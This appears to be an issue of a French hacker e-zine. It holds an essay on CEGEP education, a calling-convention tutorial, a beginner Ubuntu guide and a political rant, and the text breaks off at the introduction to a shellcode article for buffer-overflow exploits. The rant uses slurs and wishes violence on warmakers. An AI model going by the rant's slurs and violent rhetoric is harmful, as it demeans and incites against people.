       un vieux texte que j'ai retrouvé dans un fond de tiroir en fessant mon
       ménage annuel que je fais tous les six ans. Texte que j'avais écrit pour
       un cours de philosophie quelconque et que je trouve encore actuel, malgré
       que certains petits ajouts seraient on ne peut plus nécessaires. Et dans
       ma grande bonté et en toute humilité, je me suis dit qu'il était de mon
       devoir de vous faire part de cette réflexion sociale que vous trouverez,
       sans aucun doute, fondamentale.

        Dix-sept ou dix-huit ans: période où l'on devient adulte et responsable en
    prenant des décisions pour un avenir proche et/ou lointain. Ces décisions
    peuvent porter sur beaucoup de sujets différents comme "est-ce que je veux
    continuer mes études au niveau collégial ?" ou encore "qu'est-ce ce que j'ai
    l'intention de faire de ma vie ?". Ce genre de questions peut être posé avant
    même d'être au CEGEP, mais elles doivent avoir une réponse lors du cheminement
    collégial. Il est vrai que nous devons nous tracer un chemin, suivre une voie
    pour évoluer et s'améliorer dans la vie. Mais les CEGEP contribuent-ils à cette
    prise de position, de décision par les étudiants ? Il est clair que ces
    établissements d'enseignement ne leur apportent guère un support stable et
    solide. Il sera traité, dans ce court texte, de trois raisons pour lesquelles
    les écoles de niveau collégial, plus particulièrement les CEGEP, ne favorisent
    pas la formation à la vertu. Premièrement, le système d'éducation est basé sur
    le principe de "l'obligation de résultats". En second lieu, il n'organise pas
    ou presque pas de mise en pratique des connaissances acquises et troisièmement,
    il prône la formation de masse.

        Le ministère de l'éducation a conçu le système d'éducation collégiale,
    ainsi que celui du niveau secondaire et universitaire, sur le principe que l'on
    peut nommer "l'obligation de résultats". Cela veut dire que le succès du
    programme d'étude est basé sur la réussite de l'élève par rapport à sa note
    obtenue lors d'exercices d'évaluation se référant à des critères définis. Or,
    l'élève n'a qu'à étudier certains points de la matière donnée en classe pour
    avoir les résultats de passage. L'étudiant peut donc focaliser les centres
    d'intérêts de son professeur, et ainsi prévoir d'une certaine façon les genres
    de questions qui vont lui être demandées. Il peut dès lors se préparer sur une
    partie de la matière et ainsi réussir à obtenir les exigences minimales
    demandées pour réussir son cours. De ce fait, les cours donnés ne forment pas la
    personne humaine à la vertu, ils forment plutôt des gens qui chercheront les
    bonnes réponses à un nombre limité d'évènements et/ou situations sans jamais se
    développer en tant qu'être humain parce qu'ils ne s'enrichiront pas d'un savoir
    non limité par des objectifs.

        Non seulement les CEGEP fonctionnent par "l'obligation de résultats" mais ils
    ne permettent pas de pratiquer les connaissances acquises dans les cours autres
    que les cours techniques. Par exemple, un étudiant en science humaine profil
    communication n'a pas d'activité lui permettant de mettre en pratique les
    connaissances qu'il a reçues lors d'un cours, comme des stages ou des
    simulations d'évènements réels dans un milieu très peu contrôlé. Seuls les
    programmes techniques comme "Informatique de gestion", "Soins infirmiers",
    "Techniques policières", etc. permettent et obligent les étudiants à mettrent
    en pratique le savoir transmis par leurs professeurs. De plus, même dans ces
    programmes, seuls certains cours intègrent des projets de mise en pratique dans
    un milieu de travail. Ces projets se déroulent dans des environnements non
    contrôlés, par opposition aux situations qui sont prédéfinies dans un livre ou
    gérées par la main protectrice de l'enseignant qui crée des évènements parfaits
    pour simuler une réalité qui ne l'est pas. Le collégial, d'une façon générale,
    ne permet pas d'enrichir l'être humain en lui permettant de voir et s'adapter
    aux vrais problèmes puisqu'il ne favorise pas la mise en pratique, dans un
    environnement réel, des connaissances acquises.

        En plus des environnements contrôlés pour la mise en pratique du savoir, si
    mise en pratique il y a, l'éducation de masse est un point marquant du CEGEP
    puisque d'année en année, le nombre d'étudiants augmente dans les classes. Les
    professeurs sont donc moins disponibles pour aider tous les étudiants.
    Inévitablement, le côté personnel de l'enseignement est remplacé par
    l'impersonnalité administrative et le savoir transmis par les professeurs est
    moins bien assimilé et moins riche en informations. L'éducation de masse oblige
    les enseignants à prendre du recul par rapport aux étudiants pour pouvoir donner
    leur matière dans les temps prévus. Ce recul entraine une certaine perte du lien
    qui devrait être créé entre le professeur et les étudiants puisque ce dernier
    doit s'occuper de beaucoup plus d'élèves. Ainsi, ce n'est plus à la personne, à
    l'être humain, que l'on enseigne, mais plutôt à un groupe identifié par un
    numéro, dont chaque individu le composant est lui-même devenu un numéro.
    L'étudiant peut percevoir une fausse indifférence à son cas puisque l'on a perdu
    le rapprochement, le lien "intime", entre ce dernier et l'enseignant. L'être
    humain est donc, encore une fois, négligé et beaucoup d'autres choses (diffusion
    de toute la matière, respect de l'échéancier, le groupe, etc.) passent désormais
    avant lui.

        Pour conclure, le système d'éducation, tel que défini par le ministère de
    l'éducation, ne prend pas les mesures nécessaires pour favoriser le
    développement à la vertu. Le système actuel met davantage l'accent sur
    "l'obligation de résultats", la mise en pratique contrôlée des connaissances et
    l'enseignement de masse, ce qui à comme conséquence de négliger l'étudiant en
    tant qu'être humain.

    Ninja

        _____   ________ ________ ______ ____ __  __   _
      /____/  /       //       //  /\  \\   \\ \ \ \  \\   \
       ___   /   ____//_______//__/  \__\\___\\_\ \_\  \\   \
      |   | |   /                /    \
      |   | |  |                /  /\  \
    __|___|_|__| _______ ___ __/__/__\__\__ ___ __  __   _
    __\\________\\______\\__\\____________//__//_/ /_/  //  /
      |\\ | |  |     |  |    /  /      \  \
      | \\| |   \___/   |   /  /   /\   \  \
      |  \   \         /   /  /   /  \   \  \
       \  |   \_______/   /  /   / /\ \   \  \
    __|\\ |______________/  /___/ /  \ \___\  \____ ___ __  _
      | \\|                    / /    \ \
      |__\.

    topic

    _________________________________________________________
                                                             |
     Entre-Articles                                Ivanlef0u |
    _________________________________________________________|
        |    /   /                           |
        |   /   /                            |
        |  /   /                             |
        | /   /                              |
        |/   /                               |
        |   /                                &
        |  /                                 &
        | /                                 / \
        |/                         [ Cleaning the stack ]
        |
        |  Plop all, vous le savez certainement lors de l'appel d'une fonction en C le code
        |  push sur la stack les arguments dans l'ordre inverse définit, le premier arg est
        |  pushé en dernier et vice versa. Par contre lorsque la fonction est finie que
        |  deviennent ces arguments ? :) il faut que la stack soit nettoyer afin que ca
        |  ne devienne pas le bordel et pour cela il existe 2 façons de le faire, voici un
        |  code qui les présentent:
        |
        |  ------------CUT HERE--------------------
        |  __stdcall int foo1(int bouh1, int bouh2)
        |  {
        |          char buff[12];
        |          return bouh1;
        |  }
        |
        |  __cdecl int foo2(int bouh1, int bouh2)
        |  {
        |          char buff[12];
        |          return bouh2;
        |  }
        |
        |  int main()
        |  {
        |          foo1(0,-1);
        |          foo2(0,-1);
        |
    ____|          return 0;
           }
           ------------CUT HERE--------------------

           __stdcall et __cdecl représentent évidemment une méthode de "nettoyage"
           différente. Mais pour plus de clarté, désassemblons tout ça.

           __stdcall int foo1(int bouh1, int bouh2)
           00400870  /$  55            PUSH EBP
           00400871  |.  8BEC          MOV EBP,ESP
           00400873  |.  83EC 0C       SUB ESP,0C
           00400876  |.  8B45 08       MOV EAX,[ARG.1]
           00400879  |.  8BE5          MOV ESP,EBP
           0040087B  |.  5D            POP EBP
           0040087C  \.  C2 0800       RET 8
           __cdecl int foo2(int bouh1, int bouh2)
           0040087F  /$  55            PUSH EBP
           00400880  |.  8BEC          MOV EBP,ESP
           00400882  |.  83EC 0C       SUB ESP,0C
           00400885  |.  8B45 0C       MOV EAX,[ARG.2]
           00400888  |.  8BE5          MOV ESP,EBP
           0040088A  |.  5D            POP EBP
           0040088B  \.  C3            RET
           main()
           0040088C  /$  55            PUSH EBP
           0040088D  |.  8BEC          MOV EBP,ESP
           0040088F  |.  6A FF         PUSH -1                       ; /Arg2 = FFFFFFFF
           00400891  |.  6A 00         PUSH 0                        ; |Arg1 = 00000000
           00400893  |.  E8 D8FFFFFF   CALL appel.00400870       ; \appel.00400870 -> foo1
           00400898  |.  6A FF         PUSH -1                   ; /Arg2 = FFFFFFFF
           0040089A  |.  6A 00         PUSH 0                    ; |Arg1 = 00000000
           0040089C  |.  E8 DEFFFFFF   CALL appel.0040087F       ; \appel.0040087F -> foo2
           004008A1  |.  83C4 08       ADD ESP,8
           004008A4  |.  33C0          XOR EAX,EAX
           004008A6  |.  5D            POP EBP
           004008A7  \.  C3            RET

           Au niveau de l'appel des fonctions rien ne change les arguments sont pushés
           dans l'ordre inverse: -1 d'abord puis 0. A la fin de la fonction foo1
           défini en convention __stdcall on voit:  RET 8. Cette instruction signifie que
           l'on return et qu’en même tps on ajoute au pointer topstack (esp) 8 ce qui
           correspond à ta taille des 2 arguments, on se retrouve avec notre stack comme
           avec les push de l'appel, cool c'est clean.

           Par contre avec la fonction foo2 on ne voit pas de RET 8, mais après le call on
           voit ADD ESP,8 ouf :) notre stack est clean.

           En fait la différence c'est qu’en  __stdcall c'est la fonction appelée qui
           nettoie la stack alors qu'en __cdecl c'est la fonction appelante qui fait le
           ménage. Pkoi une telle différence ? He bien prenez l'exemple de la fonction
           printf(), printf("%u %d %c %x",a,b,c,d); Cette fonction n'a pas un nombre finit
           d'arguments donc en convention __stdcall on aurait toujours le RET X mais qu'est
           ce qu'on met pour le X ? comme la fonction peut prendre n'importe quel nombre
           d'arguments on la définit en __cdecl ainsi comme la fonction appelante sait
           combien d'argument elle a pushé elle sait combien elle doit en dépiler :].

           Donc __stdcall=fonctions avec un nombre d'arg finit. __cdecl=fonctions n'ayant
           par un nbr d'arg précis. Voilà une chtite chose tjrs bonne a savoir :}

           Ivanlef0u

           EMail:ivanlef0u119@yahoo.fr
           WebSite: http://membres.lycos.fr/moi118118

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ 13 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [       Get started with ubuntu linux      ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]  Burn3d  [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

    { BurN3D: UbuntuLinux la base }

    Ceci est mon premier article, je vais essayer de faire de mon mieu pour vous expliquer la base
    de Ubuntu. UbuntuLinux est basé sur du debian mais n'est pas exactement pareil quelques
    trucs changent, mais pour l'instant je vais vous faire un petit tuto sur la base de linux en
    general:

    1. Choisir son Linux

    2. les principales commandes en console pour débuter

    3. Un firewall facile à configurer

    4. Garder son système a jour

    ------------------------------------------------

    1. Pour commencer ce tuto s'adresse a des gens qui ne se sont jamais servi de ce système
    d'exploitation. Pour ma part je vous conseille de débuter avec Ubuntulinux  car il a une
    interface très facile d'utilisation sinon vous pouvez toujours allez en télécharger un autre sur
    Http://www.linuxiso.org. Pour télécharger Ubuntulinux { Http://www.ubuntu.com } de plus ils
    offrent l'envoie de cd gratuit, aucun frais cachés.

    -----------------------------------------------------------------
    2 Les Principales commandes en console

    2.1 S'identifier en tant que root (su)
    2.2 Se déplacer dans les différents dossiers (cd)
    2.3 Savoir dans quel dossier on se trouve (pwd)
    2.4 Lister les fichiers d'un dossier (ls)
    2.5 Aperçue d'un fichier texte (cat)
    2.6 Copier un fichier ou un dossier (cp)
    2.7 Supprimer un fichier ou un dossier (rm)
    2.8 Créer un dossier (mkdir)
    2.9 Déplacer ou renommer un fichier ou un dossier (mv)
    2.10 Décompresser et compresser des archives(tar, gzip)
    2.11 Gestion des processus (top, ps, kill)

    ------------------------------------------------------------------

    2.1 S'identifier en tant que root (su)

    Pour s’identifier en tant que root il suffit d’utilisé la commande su et d’y entrer
    vôtre mot de passe root.

    Exemple : [root@mindkind /root]$ su
            Password :

    2.2 Se déplacer dans les différents dossiers (cd)

    - La commande "cd" utilisée seule sert a revenir dans le répertoire racine de
    l'utilisateur

    Exemple : [root@mindkind /root/apps]$ cd
            [root@mindkind /root]$

    - La commande "cd" suivie de 2 points "cd .." sert à revenir dans le dossier parent
    d’où vous vous trouvez

    Exemple : [root@mindkind /root/apps/azureus]$ cd ..
            [root@mindkind /root/apps]$

    - La commande "cd" suivie d'un nom de dossier sert à aller dans celui-ci.

    Exemple : [root@mindkind /root/apps]$ cd azureus
            [root@mindkind /root/apps/azureus]$

    -Et peut être suivi d'une arborescence

    Exemple 2 : [root@mindkind /root/apps]$ cd /etc/X11
               [root@mindkind /etc/X11]$

    2.3 Savoir dans quel répertoire on se trouve (pwd)

    - La commande "pwd" sert à savoir dans quel répertoire qu'on se trouve

    Exemple : [root@mindkind /root/apps]$ pwd
                    /root/apps
                    [root@mindkind /root/apps]$ pwd

    2.4 Lister les fichiers d'un répertoire (ls)

    - La commande "ls" sert a lister les fichier et dossiers qui se trouve dans un
    répertoire. Cette commande peut être utilisée avec plusieurs variantes. Les variantes
    les plus utilisées sont :

    "-l" : permet de lister les attributs (droits de lecture, d'écriture et d'exécution,
    le propriétaire, groupe, la taille en octets, sa date de création ou de modification)

    "-a" :  liste tous les fichiers du répertoire, y compris les fichiers et dossiers
    cachés (fichiers ou dossiers précédés d'un point).

    "-m" : Affiche les fichiers en les séparant par une virgule au lieu de les présenter
    en colonnes.

    "-t" : Affiche les fichiers par date, c'est-à-dire en les classant du récent au plus
    ancien.

    "-lu" : Affiche les fichiers par date de dernier accès et indique cette date.

    "-F" :Affiche les fichiers par type. Un fichier suivi d'un "/" est un répertoire, un
    fichier suivi d'une étoile est un fichier exécutable et un fichier suivi d'un "@" est
    un lien.

    "-S" : Affiche les fichiers triés par ordre de taille décroissante.

    "-X" : Affiche les fichiers par type d'extension.

    "-r" :Affiche les fichiers en ordre alphabétiques inverses.

    Exemple : [root@mindkind /root/apps]$ ls -l
           -rwxr-xr-x 1 root root 2916 Nov 29 09:12 bash
           -rwxr-xr-x 1 root root 5650 Nov 02 2006 ash

    2.5 Aperçue d'un fichier texte (cat)
    - La commande cat permet d'avoir un aperçue rapide du contenue d'un fichier contenant
    du texte.

    Exemple : [root@mindkind /root]$ cat .bashrc
                    # /root/bashrc
            # System wide functions and aliases Environment
    stuff goes in /etc/profile
             # by default, we want this to get set. Even for non-interactive, non-login she
            if [ `id -gn` = `id -un` -a `id -u` -gt 99 ]; then
                    umask 002
                    [root@mindkind /root]$

    2.6 Copier un fichier ou un répertoire (cp) Pour copier un fichier ou un dossier d'un
    répertoire a un autre il faut utilisé la commande "cp" suivit du nom du dossier/fichier à
    copier et de l'emplacement.

    Exemple : [root@mindkind /root]$ cp apps /home
                    [root@mindkind /root]$ ls /home
             apps
                    [root@mindkind /root]$

    Et il peut être utilisé avec plusieurs options en voici
    quelques une.

    "-i" :  avertit l'utilisateur de l'existence d'un fichier du même nom et si vous voulez le
    remplacer.

    "-b" : permet comme l'option -i de s'assurer que la copie n'écrase pas un fichier existant
    en modifiant le nom automatiquement du fichier.

    "-l" : fait un lien entre le fichier source et la copie.

    "-s" : fait un lien "symbolique" entre le fichier source et sa copie.

    "-p" : préserve tous les droits du fichier copié.

    "-r" :  permet de copier le répertoire et tout ses sous-répertoires.

    2.7 Supprimer un fichier ou un dossier (rm)

    - La commande rm sert à supprimer un dossier ou un fichier.

    Exemple : [root@mindkind /root]$ ls
             apps
                    [root@mindkind /root]$ rm apps
                    [root@mindkind /root]$ ls
                    [root@mindkind /root]$

    Et il peut être utilisé avec plusieurs options en voici quelques une.

    "-d" : permet de supprimer un répertoire qu'il soit plein ou non

    "-r" : permet de supprimer un répertoire et ses sous répertoires

    "-f" : permet de forcer la suppression des fichiers protégés en écriture et des répertoires

    2.8 Créer un dossier (mkdir)
    Pour créer un répertoire, il suffit de taper la commande "mkdir"
    Exemple : [root@mindkind /root]$ mkdir apps2
                    [root@mindkind /root]$ ls
            apps        apps2
                    [root@mindkind /root]$

    2.9 Déplacer ou renommer un fichier ou un dossier (mv)

    Pour déplacer ou renommer un fichier/dossier , il suffit de taper la commande "mv" suivie du
    nom d'origine et l'emplacement + le nouveau nom de fichier.

    Exemple : [root@mindkind /root]$ mv apps applications ( le dossier apps s'appelle maintenant
    applications)

    Exemple 2 : [root@mindkind /root]$ mv apps /home/applications ( le dossier apps s'apelle
    maintenant applications et à été déplacée dans le dossier /home)

    2.10 Décompresser et Compresser des archives(tar, gzip)

    Pour Décompresser un

    .tar.gz : tar xvfz amsn.tar.gz
    .tar.bz2 : tar xvfj amsn.tar.bz2
    .gz : gzip -d amsn.gz

    Pour compresser un fichier en .gz :

                         gzip nomdufichieracompresser

    2.11 Gestion des processus (top, ps, kill)

    -Premièrement il y a la commande “top” qui  montre les processus en ordre croissant selon
    l’utilisation des ressources qu’ils prennent.

    -La Commande ps sert à lister les processus qui sont en cour d’exécution sur le système.

    Exemple : [root@mindkind /root]$ ps
    1.              PID   TTY STAT  TIME COMMAND
    2.       341   p1    S     0 : 00    bash
    3.       344   p2    S     0 : 00    bash
    4.       1039   p3    S     0 : 00    bash
    5.       1219   p3    R     0 : 00    ps

    -"PID" Est le numéro du processus. Chaque processus est identifié dans le système par un
    nombre unique.

    - "TTY" indique à quel port de terminal est associé le processus.

    -"STAT" indique l'état dans lequel se trouve le processus. S = "sleep", R = "run")

    - "TIME" indique depuis combien de temps le processus utilise les ressources  du
    microprocesseur.

    - "COMMAND" est la commande exécutée

    Pour Terminer un processus, il suffit d’utiliser la commande kill suivit du numéro du
    processus a terminer.

    Exemple : [root@mindkind /root]$ kill 1039

    -Pour forcer un processus à terminer, il suffit d’ajouter l’option ”-9”

    ( kill -9 1039)

    -------------------------------------------------------

    3. Quel firewall choisir lorsqu'on ne connait pas vraiment les iptables ?

    J'ai le firewall qu'il vous faut, il s'agit de firestarter un firewall graphique qui
    fonctionne en mode graphique ( avec gnome ou Kde ). Vous pouvez le télécharger en tapant
    cette commande:

    Apt-get install firestarter .

    Si votre apt-get ne le trouve pas vous pouvez allez le télécharger sur

    Http://www.fs-security.com/download.php .

    PS: Son interface est tres facile d'utilisation

    -------------------------------------------------------

    4.Tenir votre système a jour avec Apt-Get

    -Pour débuter il y a la commande 'apt-get', plusieurs façons de l'utiliser les voici donc:

    1: Pour mettre vos sources a jours, les sources qui se trouvent dans le
    /etc/apt/sources.list, vous tapez : Apt-get update

    2: Pour mettre votre système a jours : Apt-get upgrade

    3: Pour rechercher dans les packet de votre sources.list : Apt-cache search lenomdupacket

    4: Pour installer un nouveau, packet: Apt-get install lenomdupacket

    5: Pour corriger une erreur d'installation : apt-get -f install

    PS: Pour plus de sources concernant ubuntulinux visitez ce sources.list generator:

    http://www.ubuntulinux.nl/source-o-matic

    -Une fois le sources.list générer vous n'avez qu'a ouvrir votre /etc/apt/sources.list
    avec nano/pico/vim et de les ajoutés. Un petit Apt-Get Update, si tout va bien
    vous n'aurez pas d'erreur.. Si vous avez des problèmes avec les erreurs, apt-get update
    a quelques reprises et sa devrais s'arranger automatiquement, sinon retourner dans
    votre sources.list et effacer les sources qui produisent les erreurs. Pour ajouter des keys
    aux sources:

    gpg --keyserver subkeys.pgp.net --recv Votrekey
    gpg --export --armor Votrekey | sudo apt-key add -

    PS: Attention avec les sources non officielles :)
    ----------------------------------------------

        _____   ________ ________ ______ ____ __  __   _
      /____/  /       //       //  /\  \\   \\ \ \ \  \\   \
       ___   /   ____//_______//__/  \__\\___\\_\ \_\  \\   \
      |   | |   /                /    \
      |   | |  |                /  /\  \
    __|___|_|__| _______ ___ __/__/__\__\__ ___ __  __   _
    __\\________\\______\\__\\____________//__//_/ /_/  //  /
      |\\ | |  |     |  |    /  /      \  \
      | \\| |   \___/   |   /  /   /\   \  \
      |  \   \         /   /  /   /  \   \  \
       \  |   \_______/   /  /   / /\ \   \  \
    __|\\ |______________/  /___/ /  \ \___\  \____ ___ __  _
      | \\|                    / /    \ \
      |__\.

    topic

    _________________________________________________________
                                                             |
     Entre-Articles                                       c4 |
    _________________________________________________________|
        |    /   /                           |
        |   /   /                            |
        |  /   /                             |
        | /   /                              |
        |/   /                               |
        |   /                                &
        |  /                                 &
        | /                                 / \
        |/                  [ Quand humanitaire rime avec rien ]
        |
        |    "Les conséquences d'un acte sont incluses dans l'acte lui-même."
        |                                              - George Orwell (1984)
        |
        |     Notre Canada, figurisé en bonhomme déteint dans un paysage, y
        |     compris notre petit drapeau unifolié qui s'accorde aux couleurs
        |     foncées du "suit", est  maintenant  présent   dans les conflits
        |     internationaux. Stephen Harper, notre prime minister, qui
        |     ressemble plus à un Kent  qu'à  un être  humain, maintient la
        |     fonction première de son parti conservateur: purifier le   monde
        |     entier avec la bonne fois, le cathéchissssss de bonne occasion,
        |     la morale des temps perdus.   Une mission  humanitaire, qu'on
        |     nous dit ! À force de se faire prendre pour des caves,  on   va
        |     vraiment finir par l'être !
        |
        |     C'est en effet avec le fameux scandale des commandites qu'on
        |     a aperçu une vague conservatrice ...  quel autre choix avait on,
        |     anyway, semble nous dire les  intellectuels de tivi. Une vague à
        |     n'en  plus  finir entre les conservateurs et le parti libéral...
        |     des fois les rouges montent, des fois les bleus montent. On vote
        |     pour l'un en voulant se débarrasser de l'autre. Conservateur,
        |     libéral, libéral, conservateur,  etc, etc, etc ... et la chanson
        |     continue.
        |
        |     Ti Paul Martin et le parti libéral finit par tomber, les élections
        |     sont lancés, en pleine  festivité de Noël ... Entre le gros Père
    ____|     Noël, on avait maintenant, à titre de visiteur, des députés
    libéraux  et conservateurs,  tous les 3 venus nous   apporter   des cadeaux.

    Pendant toute la campagne électorale, tout ce qui se passait comme débat de société,   vu
    par   notre  téléviseur (pour faire changement du  prix du gaz), ce fut l’homophobie   de
    Harper et de son parti.  Ils  sont contre le mariage de   même   sexe bla-bla-bla.  Comme
    dirait un fumeux de pipe de la droite,  ce  fut du blablaisme d'intellectualiste. Mais ce
    fut assez !   Tout   le monde en parlait :    l'église,   les organisations   pour    les
    droits des gays et lesbiennes, le curé de telle région, le menoncle  du   sud,    et   le
    parrain de l'est. Quel plaisir pour   Radio-Canada    qui   voulait   sauvegarder l'unité
    canadienne ...   on venait de noyer le vrai débat. Le vrai débat,   me    demandez-vous ?
    L'amitié Bush-Harper. Non que le débat sur la question du mariage gay soit sans  intérêt;
    au contraire, c'est un débat assez  important qui va au-delà de l'homosexualité ... c'est
    une question de liberté et d'égalité. Et j'avoue, la question est loin d'être réglée dans
    la tête de  nos tarlas de conservateur.

    Mais en faisant la part des choses, le vrai débat, afin   qu’on ne subisse pas une  vague
    ennuyante conservatrice  au Canada,   n'aurait-il pas   dû    être   celui   de  l’amitié
    Bush-Harper ?   N'est-ce   pas  plus dégueulasse, ce qui se passe présentement,   que   2
    homosexuelles qui n'ont pas   le droit légal   de    se marier ?   Je   pose la question,
    simplement ... au risque de  me faire traiter   d’homophobe,  encore. Un jour, va falloir
    qu'on arrête de se laisser leurrer. Un jour, va falloir qu'on arrête de   faire   de   la
    politique "du 4 ans". Et non, certainement pas, je ne prône pas    nos   libéraux.   Mais
    sacrament,   y'a d'autres choix sur le bulletin de vote que nos 2  parties   transitoire !
    Qu'on  arrête de voter   pour   un partie uniquement parce que les autres ne  seront  pas
    au pouvoir ...

    Trop tard ! On se ramasse avec un renforcement de l'armée canadienne en Afghanistan  pour
    une plus   longue durée. Et on va me demander de trouver ça surprenant le jour ou il   va
    avoir une bombe qui  va  exploser dans un métro à    Montréal   ou    à   Toronto ?   Les
    journalistes peuvent l'être autant qu'ils le veulent,  mais qu’on ne me demande  pas   en
    plus de jouer leur game. C'était gros comme une montage, mais on a   préféré  parler   de
    l'homophobie de Harper. J'ai beau écouter    les   rassureux     du  bon   peuple,   mais
    Stephen W. Harper joue une game très dangereuse. Qu'il veut maintenir un   bon   contacte
    avec les américains,   je  m’en fou totalement. C'est ok. C'est acceptable.  Qu'il   soit
    en accord avec l'invasion en Irak,  déjà,   ça passe    plus  mal.    Je   ne    comprends
    pas ... je dois être fou. Mais qu'ensuite, il   vient  nous   faire   croire    que   les
    États-Unis ont besoin du Canada pour pacifier le monde entier ... ça passe pas.  J'ai beau
    réécouter le tape une trentaine de fois, ça ne passe toujours pas.  Et en plus,   on   le
    croit ! On  croit même qu'il se croit !    C'est  le  bout de la marde,   comme    dirait
    l'autre.  C'est    le   top   de   la bêtise humaine.   C'est trop ...  je m'enrage,   je
    deviens impoli et vulgaire, et on m'accuse de l'être.

    Les Etats-Unis n'ont pas besoin du Canada, soit de l'armée canadienne, dans leur   guerre
    du pétrole. Ils ont  besoin d'un support, point. Ils ont besoin de ne  pas   être   seul,
    point. Ça fait  parti    de   leur  argumentation  pro-guerre ...   "Le Canada   est avec
    nous". Point.

    Au mois de juin dernier, Harper achète pour 14 milliard en bebelle de guerre.  Ca    lair
    qu'on  en   avait besoin.  Peut-être, le   hasard fait bien   les  choses.  14 milliards.
    14 Milliards de tomates. 14 milliards, pris dans nos poches, pour "ça".  "Ça",  c'est  du
    matériel qui va servir à continuer l'invasion meurtrière en Afghanistan.

    Après,  on appelle ça une "mission humanitaire",  une "guerre pour la démocratie".  Celui
    qui décide  de tuer des civils innocents, de massacrer des cartiers,  de "varger" dans  le
    tas,   de pisser carrément dans la face du monde, ne mérite  rien  d'autre  que  la  même
    recette. Aucune pitié pour ce genre de mongole de ma  part, je passe mon tour.

                                                      c4.
      "And I hope that you die
       And your death'll come soon
       I will follow your casket
       In the pale afternoon
       And I'll watch while you're lowered
       Down to your deathbed
       And I'll stand o'er your grave
       'Til I'm sure that you're dead"

      - Bob Dylan, masters of war.

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ 14 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [                Shellcode                 ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]  Darkis  [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

                ...:::{ Outl4wz }:::...

    { 0x1 } Introduction:

    Ce que il faut savoir ....
      .  utiliser linux .
      .  Connaitre les notions de base de la programmation en C et en assembleur.

    { 0x2 } C'est quoi un shellcode?

    Un shellcode est une chaine de caractère qui représente un code binaire exécutable. il constitue
    un des éléments les plus importants des exploits utilisant les failles de type débordement de
